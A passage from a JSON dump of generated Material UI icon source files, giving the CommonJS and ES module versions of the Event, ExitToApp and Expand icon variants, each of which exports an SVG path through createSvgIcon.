    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 12V4h-3V2h-2v2H8V2H6v2H3v18h9v-2H5V10h14v2zm-5.36 8c.43 1.45 1.77 2.5 3.36 2.5 1.93 0 3.5-1.57 3.5-3.5s-1.57-3.5-3.5-3.5c-.95 0-1.82.38-2.45 1H18V18h-4v-4h1.5v1.43c.9-.88 2.14-1.43 3.5-1.43 2.76 0 5 2.24 5 5s-2.24 5-5 5c-2.42 0-4.44-1.72-4.9-4z\"\n}), 'EventRepeatSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventRepeatSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 12V4h-3V2h-2v2H8V2H6v2H3v18h9v-2H5V10h14v2zm-5.36 8c.43 1.45 1.77 2.5 3.36 2.5 1.93 0 3.5-1.57 3.5-3.5s-1.57-3.5-3.5-3.5c-.95 0-1.82.38-2.45 1H18V18h-4v-4h1.5v1.43c.9-.88 2.14-1.43 3.5-1.43 2.76 0 5 2.24 5 5s-2.24 5-5 5c-2.42 0-4.44-1.72-4.9-4z\"\n}), 'EventRepeatSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventRepeatTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 6h14v2H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 12V6c0-1.1-.9-2-2-2h-1V2h-2v2H8V2H6v2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h7v-2H5V10h14v2zm-2-4H5V6h14zm-3.36 12c.43 1.45 1.77 2.5 3.36 2.5 1.93 0 3.5-1.57 3.5-3.5s-1.57-3.5-3.5-3.5c-.95 0-1.82.38-2.45 1H18V18h-4v-4h1.5v1.43c.9-.88 2.14-1.43 3.5-1.43 2.76 0 5 2.24 5 5s-2.24 5-5 5c-2.42 0-4.44-1.72-4.9-4z\"\n}, \"1\")], 'EventRepeatTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventRepeatTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 6h14v2H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 12V6c0-1.1-.9-2-2-2h-1V2h-2v2H8V2H6v2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h7v-2H5V10h14v2zm-2-4H5V6h14zm-3.36 12c.43 1.45 1.77 2.5 3.36 2.5 1.93 0 3.5-1.57 3.5-3.5s-1.57-3.5-3.5-3.5c-.95 0-1.82.38-2.45 1H18V18h-4v-4h1.5v1.43c.9-.88 2.14-1.43 3.5-1.43 2.76 0 5 2.24 5 5s-2.24 5-5 5c-2.42 0-4.44-1.72-4.9-4z\"\n}, \"1\")], 'EventRepeatTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 13h-3c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m0-10v1H8V3c0-.55-.45-1-1-1s-1 .45-1 1v1H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-1V3c0-.55-.45-1-1-1s-1 .45-1 1m2 17H6c-.55 0-1-.45-1-1V9h14v10c0 .55-.45 1-1 1\"\n}), 'EventRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 13h-3c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m0-10v1H8V3c0-.55-.45-1-1-1s-1 .45-1 1v1H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-1V3c0-.55-.45-1-1-1s-1 .45-1 1m2 17H6c-.55 0-1-.45-1-1V9h14v10c0 .55-.45 1-1 1\"\n}), 'EventRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventSeat.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18v3h3v-3h10v3h3v-6H4zm15-8h3v3h-3zM2 10h3v3H2zm15 3H7V5c0-1.1.9-2 2-2h6c1.1 0 2 .9 2 2z\"\n}), 'EventSeat');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventSeat.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18v3h3v-3h10v3h3v-6H4zm15-8h3v3h-3zM2 10h3v3H2zm15 3H7V5c0-1.1.9-2 2-2h6c1.1 0 2 .9 2 2z\"\n}), 'EventSeat');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventSeatOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 5v7H9V5zm0-2H9c-1.1 0-2 .9-2 2v9h10V5c0-1.1-.9-2-2-2m7 7h-3v3h3zM5 10H2v3h3zm15 5H4v6h2v-4h12v4h2z\"\n}), 'EventSeatOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventSeatOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 5v7H9V5zm0-2H9c-1.1 0-2 .9-2 2v9h10V5c0-1.1-.9-2-2-2m7 7h-3v3h3zM5 10H2v3h3zm15 5H4v6h2v-4h12v4h2z\"\n}), 'EventSeatOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventSeatRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.5 21c.83 0 1.5-.67 1.5-1.5V18h10v1.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5V17c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v2.5c0 .83.67 1.5 1.5 1.5M20 10h1c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1h-1c-.55 0-1-.45-1-1v-1c0-.55.45-1 1-1M3 10h1c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1H3c-.55 0-1-.45-1-1v-1c0-.55.45-1 1-1m14 3H7V5c0-1.1.9-2 2-2h6c1.1 0 2 .9 2 2z\"\n}), 'EventSeatRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventSeatRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.5 21c.83 0 1.5-.67 1.5-1.5V18h10v1.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5V17c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v2.5c0 .83.67 1.5 1.5 1.5M20 10h1c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1h-1c-.55 0-1-.45-1-1v-1c0-.55.45-1 1-1M3 10h1c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1H3c-.55 0-1-.45-1-1v-1c0-.55.45-1 1-1m14 3H7V5c0-1.1.9-2 2-2h6c1.1 0 2 .9 2 2z\"\n}), 'EventSeatRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventSeatSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 21h3v-3h10v3h3v-6H4zm15-11h3v3h-3zM2 10h3v3H2zm15 3H7V5c0-1.1.9-2 2-2h6c1.1 0 2 .9 2 2z\"\n}), 'EventSeatSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventSeatSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 21h3v-3h10v3h3v-6H4zm15-11h3v3h-3zM2 10h3v3H2zm15 3H7V5c0-1.1.9-2 2-2h6c1.1 0 2 .9 2 2z\"\n}), 'EventSeatSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventSeatTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 5h6v7H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 21h2v-4h12v4h2v-6H4zM17 5c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v9h10zm-2 7H9V5h6zm4-2h3v3h-3zM2 10h3v3H2z\"\n}, \"1\")], 'EventSeatTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventSeatTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 5h6v7H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 21h2v-4h12v4h2v-6H4zM17 5c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v9h10zm-2 7H9V5h6zm4-2h3v3h-3zM2 10h3v3H2z\"\n}, \"1\")], 'EventSeatTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 13h-5v5h5zM16 2v2H8V2H6v2H3.01L3 22h18V4h-3V2zm3 18H5V9h14z\"\n}), 'EventSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 13h-5v5h5zM16 2v2H8V2H6v2H3.01L3 22h18V4h-3V2zm3 18H5V9h14z\"\n}), 'EventSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 8h14V6H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 16H5V10h14zm0-12H5V6h14zm-7 5h5v5h-5z\"\n}, \"1\")], 'EventTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EventTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 8h14V6H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 16H5V10h14zm0-12H5V6h14zm-7 5h5v5h-5z\"\n}, \"1\")], 'EventTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExitToApp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.09 15.59 11.5 17l5-5-5-5-1.41 1.41L12.67 11H3v2h9.67zM19 3H5c-1.11 0-2 .9-2 2v4h2V5h14v14H5v-4H3v4c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'ExitToApp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExitToApp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.09 15.59 11.5 17l5-5-5-5-1.41 1.41L12.67 11H3v2h9.67zM19 3H5c-1.11 0-2 .9-2 2v4h2V5h14v14H5v-4H3v4c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'ExitToApp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExitToAppOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.09 15.59 11.5 17l5-5-5-5-1.41 1.41L12.67 11H3v2h9.67zM19 3H5c-1.11 0-2 .9-2 2v4h2V5h14v14H5v-4H3v4c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'ExitToAppOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExitToAppOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.09 15.59 11.5 17l5-5-5-5-1.41 1.41L12.67 11H3v2h9.67zM19 3H5c-1.11 0-2 .9-2 2v4h2V5h14v14H5v-4H3v4c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'ExitToAppOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExitToAppRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.79 16.29c.39.39 1.02.39 1.41 0l3.59-3.59c.39-.39.39-1.02 0-1.41L12.2 7.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L12.67 11H4c-.55 0-1 .45-1 1s.45 1 1 1h8.67l-1.88 1.88c-.39.39-.38 1.03 0 1.41M19 3H5c-1.11 0-2 .9-2 2v3c0 .55.45 1 1 1s1-.45 1-1V6c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1H6c-.55 0-1-.45-1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1v3c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'ExitToAppRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExitToAppRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.79 16.29c.39.39 1.02.39 1.41 0l3.59-3.59c.39-.39.39-1.02 0-1.41L12.2 7.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L12.67 11H4c-.55 0-1 .45-1 1s.45 1 1 1h8.67l-1.88 1.88c-.39.39-.38 1.03 0 1.41M19 3H5c-1.11 0-2 .9-2 2v3c0 .55.45 1 1 1s1-.45 1-1V6c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1H6c-.55 0-1-.45-1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1v3c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'ExitToAppRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExitToAppSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.09 15.59 11.5 17l5-5-5-5-1.41 1.41L12.67 11H3v2h9.67zM21 3H3v6h2V5h14v14H5v-4H3v6h18z\"\n}), 'ExitToAppSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExitToAppSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.09 15.59 11.5 17l5-5-5-5-1.41 1.41L12.67 11H3v2h9.67zM21 3H3v6h2V5h14v14H5v-4H3v6h18z\"\n}), 'ExitToAppSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExitToAppTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.09 15.59 11.5 17l5-5-5-5-1.41 1.41L12.67 11H3v2h9.67zM19 3H5c-1.11 0-2 .9-2 2v4h2V5h14v14H5v-4H3v4c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'ExitToAppTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExitToAppTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.09 15.59 11.5 17l5-5-5-5-1.41 1.41L12.67 11H3v2h9.67zM19 3H5c-1.11 0-2 .9-2 2v4h2V5h14v14H5v-4H3v4c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'ExitToAppTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Expand.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 20h16v2H4zM4 2h16v2H4zm9 7h3l-4-4-4 4h3v6H8l4 4 4-4h-3z\"\n}), 'Expand');"
  },
  {
    "path": "packages/mui-icons-material/lib/Expand.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 20h16v2H4zM4 2h16v2H4zm9 7h3l-4-4-4 4h3v6H8l4 4 4-4h-3z\"\n}), 'Expand');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandCircleDown.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 13.5L7.5 11l1.42-1.41L12 12.67l3.08-3.08L16.5 11z\"\n}), 'ExpandCircleDown');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandCircleDown.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 13.5L7.5 11l1.42-1.41L12 12.67l3.08-3.08L16.5 11z\"\n}), 'ExpandCircleDown');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandCircleDownOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.08 9.59 12 12.67 8.92 9.59 7.5 11l4.5 4.5 4.5-4.5zM12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}), 'ExpandCircleDownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandCircleDownOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.08 9.59 12 12.67 8.92 9.59 7.5 11l4.5 4.5 4.5-4.5zM12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}), 'ExpandCircleDownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandCircleDownRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m3.79 9.71-3.08 3.08c-.39.39-1.02.39-1.42 0l-3.08-3.08c-.39-.39-.39-1.03 0-1.42s1.02-.39 1.41 0L12 12.67l2.38-2.38c.39-.39 1.02-.39 1.41 0s.39 1.03 0 1.42\"\n}), 'ExpandCircleDownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ExpandCircleDownRounded.mjs",
